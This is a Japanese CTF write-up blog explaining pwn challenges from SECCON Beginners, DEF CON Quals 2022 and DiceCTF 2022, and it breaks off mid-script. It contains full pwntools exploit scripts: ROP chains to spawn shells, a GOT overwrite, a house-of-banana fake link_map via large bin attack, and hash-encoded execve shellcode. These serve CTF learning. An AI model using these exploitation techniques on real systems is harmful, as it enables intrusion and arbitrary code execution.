elf=ELF("/home/ubuntu/Desktop/ctf/seccon/raindrop/raindrop/chall")
p=process("/home/ubuntu/Desktop/ctf/seccon/raindrop/raindrop/chall"
          , aslr=False)

#p=remote("beginnersbof.quals.beginners.seccon.jp",9000)

gdb.attach(p)

p.recvuntil(" 000002 | ")
stack_leak=int(p.recv(18), 16)
p.recvuntil(" 000003 | ")
base_leak=int(p.recv(18), 16)

log.info("stack_address is "+hex(stack_leak))
pop_rdi=0x00401453
system_func=0x4011e5
p.sendline("/bin/sh".encode()+b"\x00"+p64(0)+p64(0xdeadbeef)
           +p64(pop_rdi)+p64(stack_leak-0x20)+p64(system_func))

p.interactive()

simplelist (32 solve)

下記の通りシンプルなメモ。
よくあるヒープ問題に見える。

ubuntu@ip-:~/Desktop/ctf/seccon/simplelist$ ./chall 
Welcome to memo organizer

1. Create new memo
2. Edit existing memo
3. Show memo
4. Exit
> 1
[debug] new memo allocated at 0x227f2a0
Content: AAAA
first entry created at 0x227f2a0

1. Create new memo
2. Edit existing memo
3. Show memo
4. Exit
> 3

List of current memos
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
[debug] memo_list[0](0x227f2a0)->content(0x227f2a8) AAAA
[debug] next(0x227f2a0): (nil)
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

print debugができるので、heapのアドレスのリークができる。
また、色々やってるとHeap BOFがあることがわかる。
libc versionは2.33で比較的新しい気がするが、

typedef struct memo {
    struct memo *next;
    char content[CONTENT_SIZE];
} Memo;

上記の構造体をbofで書き換えることができる。
この問題はfreeが無いが隣接したチャンクを書き換えることができるので、
文字列ポインタを書き換えることで何とかgotからleakできそう。
かつ、内容も書き換えることができる。
これでAARもAAWもあるので終わり。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

RELROもPIEもdisableなので、GOTからlibcをリークできるし
GOT overwriteでシェルをとることができる。

import logging

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/Desktop/ctf/seccon/simplelist/chall")
libc=ELF("/home/ubuntu/Desktop/ctf/seccon/simplelist/libc-2.33.so")

#p=process("/home/ubuntu/Desktop/ctf/seccon/simplelist/chall"
#          , aslr=False)
p=remote("simplelist.quals.beginners.seccon.jp",9003)

#gdb.attach(p)

def create_memo(content):
    p.sendlineafter(">", "1")
    p.recvuntil("new memo allocated at ")
    pointer=int(p.recvline(),16)
    p.sendlineafter("Content:", content)
    return(pointer)

def edit_memo(index, content):
    p.sendlineafter(">", "2")
    p.sendlineafter("index", str(index))
    p.recvuntil("Old content: ")
    old=p.recvline()
    p.sendlineafter("New content:", content)
    return old

create_memo(cyclic(0x18))
create_memo(cyclic(0x18))
create_memo(cyclic(0x18))

atoi=0x00000000004010d6
edit_memo(1, "A".encode()*0x18+p64(0)+p64(0x31)+p64(elf.got["setvbuf"]))
libc_base=u64(edit_memo(3, p64(atoi))[0:6].ljust(8,b"\x00"))-libc.symbols["atoi"]

log.info("libc base is:"+hex(libc_base))

#over write atoi to system
edit_memo(3, p64(libc_base+libc.symbols["system"]))

p.interactive()

取り合えずatoiからlibc leakして、そのあとはatoiのGOTをover writeした。
そのあと、/bin/shを入れるとシェルが取れる。

snowdrop (44 solve)

raindropとほとんど同じ。

セキュリティ機構は下記の通り

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

基本的にはbofがある。スタックの長さもraindropより長いので、ropできる。

0x0044b5f7: pop rax ; ret  ;  (5 found)
0x00401b84: pop rdi ; ret  ;  (166 found)
0x0040a29e: pop rsi ; ret  ;  (37 found)
0x004186f4: syscall  ; ret  ;  (8 found)

ROPしてexecveをする。

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/Desktop/ctf/seccon/snowdrop/chall")

#p=process("/home/ubuntu/Desktop/ctf/seccon/snowdrop/chall"
#          , aslr=False)
p=remote("snowdrop.quals.beginners.seccon.jp",9002)

#gdb.attach(p)

p.recvuntil(" 000003 | ")
base_leak=int(p.recv(18), 16)
p.recvuntil(" 000006 | ")
stack_leak=int(p.recv(18), 16)

log.info("stack_address is "+hex(stack_leak))
pop_rdi=0x00401b84
pop_rax=0x0044b5f7
pop_rsi=0x0040a29e
syscall=0x004186f4

p.sendline("/bin/sh".encode()+b"\x00"+p64(0)+p64(0xdeadbeef)
           +p64(pop_rdi)+p64(stack_leak-0x268)
           +p64(pop_rax)+p64(59)
           +p64(pop_rsi)+p64(0x0)
           +p64(syscall))

p.interactive()

Monkey Heap (3 solve)

解けなかった。
なぜか私の環境だとPIEが無効に見えた。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL

(本当はPIE有効なのだが…)

PIEが無効だと、Large bin attackでpapyrusが保存されているBSS領域にchunkのアドレスを入れ、
Unsafe unlinkを使うことでpapyrusのアドレスを書き換えることができてAAW, AARのPrimitiveを作ることができる。
これで、libc のenvironからスタックアドレスリークをしてROPをすることでシェルをとることができた。(glibc 2.31だが…)

しかし、PIEが有効だと、papyrusのアドレスを特定することができない。

その後、何時間か粘った。
自分の中で試した手法は下記。

1…large bin attackでglobal_max_fastの書き換えからの、fastbin unlinkでlibc内書き換え(いわゆる house of corrosion)
  → この問題は、mallocできるサイズに自由度が無い。(0x500 - 0x600まで)これだと、libc内で書き換えることができる領域が無い。

2…large bin attackでglobal_max_fastの書き換えからの、fastbin dupでどこか書き換え
  → fastbin unlinkの際のサイズ制限とalignmentによってまともに動かなかった。

3…large bin attackでlibcのstdinのvtable(_IO_file_jumps)ポインタの書き換えて、_IO_file_jumpsを偽造
  → vtableの範囲チェックに触れて動かなかった。

ということで、お手上げになった。
large bin attackで、チャンクのメモリアドレスを任意のアドレスに書き込むことができるが、
どうしてもprocess baseアドレスがわからなかったり、うまくいく方法が無い。
ついでにいうとglibc 2.35の環境が私の手元に無い。

ポイントはexit関数のflowを操作することだったように見える。
exitの中では色々な関数が呼ばれている。例えば__call_tls_dtors (void)とか。

作問者様のツイートを見たところ、house of bananaというのが想定解法らしい。
house of bananaは初耳だったが、exit関数の中のフローをハイジャックする手法の様だ。
これはどうやらlarge bin attackによって_rtld_global構造体なるものを書き換えるテクニックらしい
house of banana | C4SE
Glibc 2.33利用技巧 | Nop's Blog

上記のサイトを参考にさせていただいた。

_rtld_global構造体はld.soの中に入っている。
rtld.c source code [glibc/elf/rtld.c] - Woboq Code Browser

私の環境glibc2.31だと下記のようになっていた。
(すごく長いので途中で切ってる)

gdb-peda$ p *((struct rtld_global *)0x155555554060)
$1 = {
  _dl_ns = {{
      _ns_loaded = 0x155555555190,
      _ns_nloaded = 0x4,
      _ns_main_searchlist = 0x155555555450,
      _ns_global_scope_alloc = 0x0,
      _ns_global_scope_pending_adds = 0x0,
      _ns_unique_sym_table = {

いくつかのメンバを持っているが、この構造体が_dl_fini関数の中で使われているらしい

この構造体の_ns_loaded = 0x155555555190これがlink map構造体を指している。
linkmap構造体は下記のような形をしている。

gdb-peda$ p *((struct link_map *)0x155555555190)
$2 = {
  l_addr = 0x555555554000,
  l_name = 0x155555555730 "",
  l_ld = 0x555555557d80,
  l_next = 0x155555555740,
  l_prev = 0x0,
  l_real = 0x155555555190,
  l_ns = 0x0,
  l_libname = 0x155555555718,
  l_info = {0x0, 0x555555557d80, 0x555555557e60, 0x555555557e50, 0x0, 0x555555557e00, 0x555555557e10, 0x555555557e90, 0x555555557ea0, 0x555555557eb0, 
    0x555555557e20, 0x555555557e30, 0x555555557d90, 0x555555557da0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x555555557e70, 0x555555557e40, 0x0, 0x555555557e80, 
    0x555555557ed0, 0x555555557db0, 0x555555557dd0, 0x555555557dc0, 0x555555557de0, 0x0, 0x555555557ec0, 0x0, 0x0, 0x0, 0x0, 0x555555557ef0, 
    0x555555557ee0, 0x0, 0x0, 0x555555557ed0, 0x0, 0x555555557f10, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x555555557f00, 0x0 <repeats 25 times>, 
    0x555555557df0},
  l_phdr = 0x555555554040,
  l_entry = 0x555555555180,
  l_phnum = 0xd,
  l_ldnum = 0x0,
  l_searchlist = {
    r_list = 0x15555551e560,
    r_nlist = 0x3
  },
  l_symbolic_searchlist = {
    r_list = 0x155555555710,
    r_nlist = 0x0
  },
  l_loader = 0x0,
  l_versions = 0x15555551e580,
  l_nversions = 0x5,
  l_nbuckets = 0x3,
  l_gnu_bitmask_idxbits = 0x0,
  l_gnu_shift = 0x6,
  l_gnu_bitmask = 0x5555555543b0,
  {
    l_gnu_buckets = 0x5555555543b8,
    l_chain = 0x5555555543b8
  },
  {
    l_gnu_chain_zero = 0x555555554388,
    l_buckets = 0x555555554388
  },
  l_direct_opencount = 0x1,
  l_type = lt_executable,
  l_relocated = 0x1,
  l_init_called = 0x1,
  l_global = 0x1,
  l_reserved = 0x0,
--Type <RET> for more, q to quit, c to continue without paging--

これまた非常に長い構造体だが、l->l_infoの中で.fini_arrayを指し示すポインタがあって、
そこが_dl_finiで下記のように参照されて呼ばれている。

                      /* First see whether an array is given.  */
                      if (l->l_info[DT_FINI_ARRAY] != NULL)
                        {
                          ElfW(Addr) *array =
                            (ElfW(Addr) *) (l->l_addr
                                            + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);

処理を追っていくことにする。
__run_exit_handlerの中でcall rdxがある。これで、シンボルのない謎の関数に飛んでいる。
この関数が__dl_finiである。

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x155555519ca0 --> 0x0 
RBX: 0x155555518718 --> 0x155555519ca0 --> 0x0 
RCX: 0x1 
RDX: 0x155555537d50 (endbr64)
RSI: 0x0 
RDI: 0x0 
RBP: 0x0 
RSP: 0x7fffffffec80 --> 0x5555555555e0 (<__libc_csu_init>:	endbr64)
RIP: 0x1555553728d5 (<__run_exit_handlers+245>:	call   rdx)
R8 : 0xd ('\r')
R9 : 0x0 
R10: 0x1555554c7ac0 --> 0x100000000 
R11: 0x246 
R12: 0x0 
R13: 0x1 
R14: 0x15555551d2e8 --> 0x0 
R15: 0x155555519ca0 --> 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x1555553728c6 <__run_exit_handlers+230>:	mov    esi,ebp
   0x1555553728c8 <__run_exit_handlers+232>:	ror    rdx,0x11
   0x1555553728cc <__run_exit_handlers+236>:	xor    rdx,QWORD PTR fs:0x30
=> 0x1555553728d5 <__run_exit_handlers+245>:	call   rdx
   0x1555553728d7 <__run_exit_handlers+247>:	
    jmp    0x15555537284a <__run_exit_handlers+106>
   0x1555553728dc <__run_exit_handlers+252>:	nop    DWORD PTR [rax+0x0]
   0x1555553728e0 <__run_exit_handlers+256>:	mov    rax,QWORD PTR [rax+0x18]
   0x1555553728e4 <__run_exit_handlers+260>:	ror    rax,0x11
Guessed arguments:
arg[0]: 0x0 
arg[1]: 0x0 
arg[2]: 0x155555537d50 (endbr64)
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffec80 --> 0x5555555555e0 (<__libc_csu_init>:	endbr64)
0008| 0x7fffffffec88 --> 0x1ffffecd0 
0016| 0x7fffffffec90 --> 0x555555555180 (<_start>:	endbr64)
0024| 0x7fffffffec98 --> 0x5555555555e0 (<__libc_csu_init>:	endbr64)
0032| 0x7fffffffeca0 --> 0x0 
0040| 0x7fffffffeca8 --> 0x555555555180 (<_start>:	endbr64)
0048| 0x7fffffffecb0 --> 0x7fffffffedc0 --> 0x1 
0056| 0x7fffffffecb8 --> 0x0 
[------------------------------------------------------------------------------]

__dl_fixに飛ぶところ。

やるべきことは、link_mapの偽造を行って、指定したアドレスに飛ばすことなのだが
それがなかなか難しい。

適当なlink mapを入れてみればいかに難しいかわかるだろう。
たとえば 偽のlink_mapが保存されているmalloc chunkのアドレスをheap_leakとすると

link_map=p64(0)*32 + p64(heap_leak+0x120)+p64(0)+p64(0xdeadbeef)

これをlink_mapとしていれると、途中にあるチェックに引っかかってしまう。

Inconsistency detected by ld.so: dl-fini.c: 87: _dl_fini: Assertion `ns != LM_ID_BASE || i == nloaded' failed!

制約をうまくクリアできるようなlink mapを作っていくこととする。

試してみるとわかるが、とにかく難しい。
とりあえずpocをまねしつつ、dl_fixとにらめっこしながら通るのを書き上げた

import warnings
from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']
warnings.simplefilter('ignore')


p=process("/hostshare/monkey/bin/chall"
          , aslr=True
          ,env={"LD_PRELOAD" : "/hostshare/monkey/bin/libc.so.6"} )

#p=remote("monkey.quals.beginners.seccon.jp",9999)

#gdb.attach(p)

def new_papyrus(index, size):
    p.sendlineafter(">", str(1))
    p.sendlineafter("index:", str(index))
    p.sendlineafter("size:", str(size))
    return

def write_papyrus(index, data):
    p.sendlineafter(">", str(2))
    p.sendlineafter("index:", str(index))
    p.sendlineafter("data:", data)
    return

def read_papyrus(index):
    p.sendlineafter(">", str(3))
    p.sendlineafter("index:", str(index))
    p.recvuntil("papyrus:")
    return p.recvline()

def burn_papyrus(index):
    p.sendlineafter(">", str(4))
    p.sendlineafter("index:", str(index))
    return

new_papyrus(0, 0x528)
new_papyrus(1, 0x548)
new_papyrus(2, 0x518)
new_papyrus(3, 0x548)

burn_papyrus(0)
burn_papyrus(2)

p.sendlineafter(">", str(3))
p.sendlineafter("index:", str(0))
p.recvuntil("papyrus: ")
libc_leak=u64(p.recvuntil(">").replace(">".encode(),"".encode()).ljust(8, b"\x00"))
log.info("libc_leak is :"+hex(libc_leak))

p.sendline(str(3))
p.sendlineafter("index:", str(2))
p.recvuntil("papyrus: ")
heap_leak=u64(p.recvuntil(">").replace(">".encode(),"".encode()).ljust(8, b"\x00"))
log.info("heap_leak is :"+hex(heap_leak))

libc_base=libc_leak-0x219CE0 #remote
#libc_base=libc_leak-0x1ECBE0 #local

log.info("libc base is :"+hex(libc_base))

p.sendline(str(1))
p.sendlineafter("index:", str(0))
p.sendlineafter("size:", str(0x528))
new_papyrus(2, 0x518)

# large bin attack to make global_max_fast bigger
# free p1 (into unsorted bin)
burn_papyrus(0)

# malloc p3 (largest) to make chunk 0 into large bin
new_papyrus(3, 0x548)

# free p2 (into unsorted bin)
burn_papyrus(2)

# over write _rtld_global
addres_of_linfo=libc_base+0x264040 #remote
#addres_of_linfo=libc_base+0x228060
write_papyrus(0, p64(libc_leak+0x430)+p64(libc_leak+0x430)+p64(heap_leak)+p64(addres_of_linfo-0x20))
# malloc p3 to make p2 into large bin.
new_papyrus(3, 0x548)

large_bin=heap_leak+0xA80
one_gadget = 0xebcf1
log.info("one gadget is "+hex(libc_base+one_gadget))
link_map=p64(large_bin+0xdad)\
         +p64(large_bin+0x20)\
         +p64(large_bin+0x620)\
         +p64(large_bin)\
         +p64(0)\
         +p64(large_bin+0x28)+p64(large_bin+0x50)\
         +p64(large_bin+0x20)\
         +p64(large_bin+0x28)\
         +p64(0)+p64(0)+p64(0)+p64(0)\
         +p64(large_bin+0x50)+p64(0)*18\
         +p64(large_bin+0x190)+p64(0)\
         +p64(large_bin+0x128)+p64(0)\
         +p64(0x8)+p64(0)*11+p64(0x1a)+p64(large_bin+0x320)+p64(0)+p64(0)*46+p64(0x0000000800000001)+p64(libc_base+one_gadget)

write_papyrus(2, link_map)
p.sendline("5")
p.interactive()

そしてローカルの2.35では動くのに、リモートでは動かない。
これは原因不明だし心が折れた。

ちなみに、_dl_rtld_lock_recursiveを書き換えてもRIPを取れるようだ。

とりあえず書き換えてみたら確かにRIPは取れた。
とはいえ、今回のケースは、AAWはまだないので、この方法は直接は使えない。
(heap領域に飛ばして終わりになっちゃう)
malloc hookとかがなくなった世界では役立ちそうな候補ですね。

…_IO_list_all書き換えでhouse of orangeできたりしないのかな?
暇な時にやってみたい。

DEF CON CTF Qualifier 2022 Write-up(Hash it)

DEF CON CTF Qualifier 2022に参加しました。
実生活で色々あり、3~4か月ほど全くCTFができない日々が続きましたが、段々と落ち着いてきたので
時間があるときには続けていこうと思いました。
ただ、以前ほど時間が割けなくなりつつあることが非常に残念です。

3月、4か月もやらないと、libc 2.27と2.31の防御機構の違いなど
すべて忘れてしまっていて、なかなか焦りますが、とりあえずリハビリでやりました。

pwnとかの区分けが無かったので適当にpwnっぽいのを解きました。
1問は開催中に解きました。
ただ、開催期間が終了したら、問題を見ることができないようで、どうにも復習がしづらい状況でした。

write upを書くほどの内容でもないのですが、ひとまず生存報告もかねて書こうと思います。

Hash it

? solves / ? points

開催期間中に解けた。
結構ポイントが低かったので、多分簡単だったと思われます。

実行すると何も表示されない。
デコンパイルして色々試していたが、最初に入力した値を変換して
Mallocしていることがわかる
(例えば、0x10と入力すると 0x10000000  をmallocしにいくようだ)

その後、再度読み込みを求められて、mallocした領域(下の画像だと、0x155554f16010)に値が入力され、

色々変換されて、他の領域に値が入力される。(下の画像だと、0x155554e96000)

そしてこの領域が実行される。

ということで、結論、どんな変換がされてるのかを解析して
任意の出力を作ることができれば、その領域が実行されるのでシェルでも何でも開ける。
(この時点で気づくが、簡単なrev問っぽい…)
ということで、いくつか入れて試してみる。

インプットがAAAA…の時

gdb-peda$ x/20gx 0x155555518000
0x155555518000:	0x2858803b2858803b	0x2858803b2858803b
0x155555518010:	0x2858803b2858803b	0x2858803b2858803b
0x155555518020:	0x2858803b2858803b	0x2858803b2858803b
0x155555518030:	0x2858803b2858803b	0x2858803b2858803b
0x155555518040:	0x2858803b2858803b	0x2858803b2858803b
0x155555518050:	0x2858803b2858803b	0x2858803b2858803b
0x155555518060:	0x2858803b2858803b	0x2858803b2858803b
0x155555518070:	0x2858803b2858803b	0x2858803b2858803b
0x155555518080:	0x2858803b2858803b	0x2858803b2858803b
0x155555518090:	0x2858803b2858803b	0x2858803b2858803b

BBBB…とすると

gdb-peda$ x/20gx 0x155555518000
0x155555518000:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518010:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518020:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518030:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518040:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518050:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518060:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518070:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518080:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d
0x155555518090:	0x7bfc719d7bfc719d	0x7bfc719d7bfc719d

BBBBAAAA…

gdb-peda$ x/20gx 0x155555518000
0x155555518000:	0x2858719d2858719d	0x2858719d2858719d
0x155555518010:	0x2858719d2858719d	0x2858719d2858719d
0x155555518020:	0x2858719d2858719d	0x2858719d2858719d
0x155555518030:	0x2858719d2858719d	0x2858719d2858719d
0x155555518040:	0x2858719d2858719d	0x2858719d2858719d
0x155555518050:	0x2858719d2858719d	0x2858719d2858719d
0x155555518060:	0x2858719d2858719d	0x2858719d2858719d
0x155555518070:	0x2858719d2858719d	0x2858719d2858719d
0x155555518080:	0x2858719d2858719d	0x2858719d2858719d
0x155555518090:	0x2858719d2858719d	0x2858719d2858719d

BBAABBAA

gdb-peda$ x/20gx 0x155555518000
0x155555518000:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518010:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518020:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518030:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518040:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518050:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518060:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518070:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518080:	0x28fc809d28fc809d	0x28fc809d28fc809d
0x155555518090:	0x28fc809d28fc809d	0x28fc809d28fc809d

私は怠惰なので、残念ながらREVをがっつりする元気はなかった。
ただ上記から、どうやらインプットを2バイトずつ区切りで、
なんかしらの1バイト列に変換しているだろう思った。

ただし、インプットの2バイトがそのまま素直に実行領域の1バイトと
1対1対応になっていないようだ。
GDBデバッグしているとわかるが、インプットされた文字をmd5Sha1等に投げ込んでいることがわかる。
後はもはやメタ読みであるが、下記はAAをHashにかけた結果。
どうやら、

MD5: 3b98e2dffc6cb06a89dcb0d5c60a0206
SHA1: 801c34269f74ed383fc97de33604b8a905adb635
SHA2 256: 58bb119c35513a451d24dc20ef0e9031ec85b35bfc919d263e7e5d9868909cb5
SHA2 512: 282154720abd4fa76ad7cd5f8806aa8a19aefb6d10042b0d57a311b86087de4de3186a92019d6ee51035106ee088dc6007beb7be46994d1463999968fbe9760e


上記のハッシュ関数の1バイト目を引っ張ってきているようだ。
これでおおむね解けたので、あとはシェルコードを作り出すように実装するだけ。

方針としては、意図した1バイトになるように
2バイトをブルートフォースでつくりだしてつなげていくだけ。

あまり安定しなかった。exploitが通った直後にcat flagをすれば通る。下記はローカル用。

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']


p=process("/home/ubuntu/Desktop/ctf/defcon/HashIt/zc7ejjq9ehhcqj1x61ekoa8pjtk7"
          , aslr=False)
#gdb.attach(p)

p.send(b"\x00\x01\x00\x00")

def create_payload(payload):
    answer="".encode()
    for p in range(len(payload)):
        for i in range(0x01,0x80):
            for j in range(0x01, 0x80):
                tmp=chr(i).encode()+chr(j).encode()
                #print("searching", p, tmp)
                if p%4 == 0:
                    # SHA512
                    a=util.hashes.sha512sum(tmp)[0:1]
                elif p%4 == 1:
                    # SHA256
                    a=util.hashes.sha256sum(tmp)[0:1]
                elif p % 4 == 2:
                    # SHA1
                    a=util.hashes.sha1sum(tmp)[0:1]
                elif p % 4 == 3:
                    # MD5
                    a=util.hashes.md5sum(tmp)[0:1]
                else:
                    continue
                print(a, payload[p])
                if ord(a)==payload[p]:
                    answer=tmp+answer
                    print(p, "found!")
                    break
            else:
                continue
            break
    return (answer)

shellcode=b""

shellcode+=b"\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode+=b"\x05\x0f\x3b\xb0\x5f\x54\x53\x68"
shellcode+=b"\x73\x2f\x2f\x6e\x69\x62\x2f\xbb"
shellcode+=b"\x48\xf6\x31\x48\xd2\x31\x48\x50"

p.sendline(create_payload(shellcode)*(0x100000))

p.interactive()

リハビリ期間中とはいえ、これしか解けなかったので精進したい。

DiceCTF 2022 Write-up

Dice CTF 2022に参加しました。
pwnは8問あり、2問は開催中に、1問は終了後に解きました。

pwn/interview-opportunity

299 solves / 108 points

開催期間中に解けた。

f:id:ec76237290:20220207144755p:plain

よくある問題。bof脆弱性があるのでgot 領域からret2pltでlibc addressをリーク。
そしてROPでsystem("/bin/sh")を呼ぶというやつ。

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/interview-opportunity")
libc=ELF("/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/libc.so.6")

#p=process("/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/interview-opportunity"  , aslr=False  ,env={"LD_PRELOAD" : "/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/libc.so.6"} )
p=remote("mc.ax",31081)
#gdb.attach(p)

pop_rdi=0x00401313
ret=0x0040101a
p.sendlineafter("DiceGang?", cyclic(34)+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(elf.symbols["main"]))
p.recvline()
p.recvline()
p.recvline()
libc_base=u64(p.recv()[0:6].ljust(8,b"\x00"))-0x765f0
log.info("libc base is :"+hex(libc_base))

p.sendline(cyclic(34)+p64(pop_rdi)+p64(libc_base+next(libc.search(b"/bin/sh")))+p64(libc_base+libc.symbols["system"]))
p.interactive()

実質welcome問。

pwn/baby-rop

106 solves / 127 points

これも開催期間中に解けた。
glibc2.34が無いと動かない。

LD_PRELOAD=./libc.so.6 ./ld-linux-x86-64.so.2 ./babyrop

とかでも動くが、毎回やるのは面倒なのでpatchelf して動くようにした。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL


起動すると下記のように動くheap問。
f:id:ec76237290:20220207144935p:plain

仕様
下記のコマンドが用意されている。

C(create_safe_string): indexを指定し、領域を作る。内部的には、まずmallocでsafe_string構造体(下記)のサイズを取得し、lengthとstringのポインタを確保する。次に、lengthサイズでmallocして、そこに文字列を書き込む。
F(free_safe_string):Cで作成されたstringの領域をfreeし、safe_string構造体もfreeする。free後、ポインタにnullを代入しない。
R(read_safe_string):safe_string構造体のlengthを参照し、lengthの分、stringの領域を出力する。
W(write_safe_string):safe_string構造体のlengthを参照し、lengthの分、stringの領域に読み込む。
E:Exitする
typedef struct {
    size_t length;
	char * string;
} safe_string;

safe_string 構造体

脆弱性
・null終端が無い。(使わない)
・free後にポインタにnullを代入されない為、UaFとDouble Freeがある。(こっちを使う)

なお、libc2.34が使われていると、tcacheのfdには次のtchacheの領域へのポインタがマングリングされた値が入る。(いわゆるsafe-linking)
bkの位置にはkeyが入る。libc2.32-33時点ではkey(heap内へのポインタ)だったが、乱数のようなものが入っている。

how2heapで確認してみた。(いつのまにかwebから動くようになっていてめちゃめちゃ便利になった。)

f:id:ec76237290:20220207145127p:plain
glibc 2.32
f:id:ec76237290:20220207145129p:plain
glibc 2.33
f:id:ec76237290:20220207145133p:plain
glibc 2.34

このように、今までtcache のbkは普通のポインタだったのが、乱数的なやつが入るようになっていた。
仕様は追えていない。調べるべきなんだけど未調査。。。

したがって、Cした領域をFした後は下記のようになる。
f:id:ec76237290:20220207185104p:plain

見ての通り、fdはsafe-linkingで変な値になっているし、bkは暗号化されている。
ここでRやWを使うと、プログラムは、0x4062c6バイトを、0x137e7dd7b5eb11caから出力しようとしたり、入力しようとして
当然、0x137e7dd7b5eb11caのメモリアクセスに失敗してsegmentation faultで落ちてしまう。

さて、どうすれば良いかだが、freeを何回か行うことで、tcacheではない領域に入れる。
f:id:ec76237290:20220207185619p:plain

tcacheを連発した後は、fastbinに入る。fastbinなら、bkにkeyみたいな変な値が入ることはない。
以前の通りstring領域へのポインタが入っているので、Rを使うことにより、string領域へのポインタに多めのバイト数を書き込むことができる。
これを活用すれば、heap buffer overflowとして、隣り合う領域のsafe_string構造体を書き換えることができる。
それを使えば、任意の場所に書き込むことができるし、書き換えることができる。
f:id:ec76237290:20220207191640p:plain
イメージ図。

実質これで終了。
まずlibc baseのリークだが、これはGOTから読み込むことで簡単にリークできる。
次にRIPをとることを考えるが、FULL RELROなので、GOT Overwriteはできない。
しかもglibc 2.34から__free_hookや__malloc_hook等のhook系が削除されてしまっている。
シンボルは存在するように見えるが、うまく動かない。

さて、RIPをとるためにはどうすれば良いか。
最初はFSOPの方針でRIPまで取れた。
具体的には、下記のvtableで

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

とりあえず_IO_xsputn_tを書き換えてみると、次の出力で任意アドレスに飛ばすことができた。
これでRIPを奪うことができた。

さて、one_gadgetを使おうと思ったがgadgetが出てこない。
libc 2.34はone_gadgetは対応していなさそう。

しかも、今回の問題は、許されるsystem callが限られていて、execveも呼べない。

なのでおとなしくFSOPはあきらめて、ROPでopen read writeを呼ぶことにする。
良い感じのgadgetを見つけてstack pivotをしようと思ったが、gadgetは見つからなかった。
stack addressをleakしてAAWでstackに直接値を書き込むことにした。
stack addressはlibcのenvironにアドレスがあるのでlibc base がわかればleakすることができる。

stackに書き込むことができて、ROPができるようになったので、実はFSOPはもういらない。
あとはopen-read-writeを書くだけ。

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/baby-rop/babyrop")
libc=ELF("/home/ubuntu/Desktop/ctf/dicectf/baby-rop/libc.so.6")

p=remote("mc.ax",31245)
#p=process("/home/ubuntu/Desktop/ctf/dicectf/baby-rop/babyrop2", aslr=False )

#gdb.attach(p)

def create_string(index, length, contents):
    p.sendlineafter("enter your command:", "C")
    p.sendlineafter("enter your index:", index)
    p.sendlineafter("How long is your safe_string:", length)
    p.sendlineafter("enter your string:", contents)
    return

def free_string(index):
    p.sendlineafter("enter your command:", "F")
    p.sendlineafter("enter your index:", index)
    return

def read_string(index):
    p.sendlineafter("enter your command:", "R")
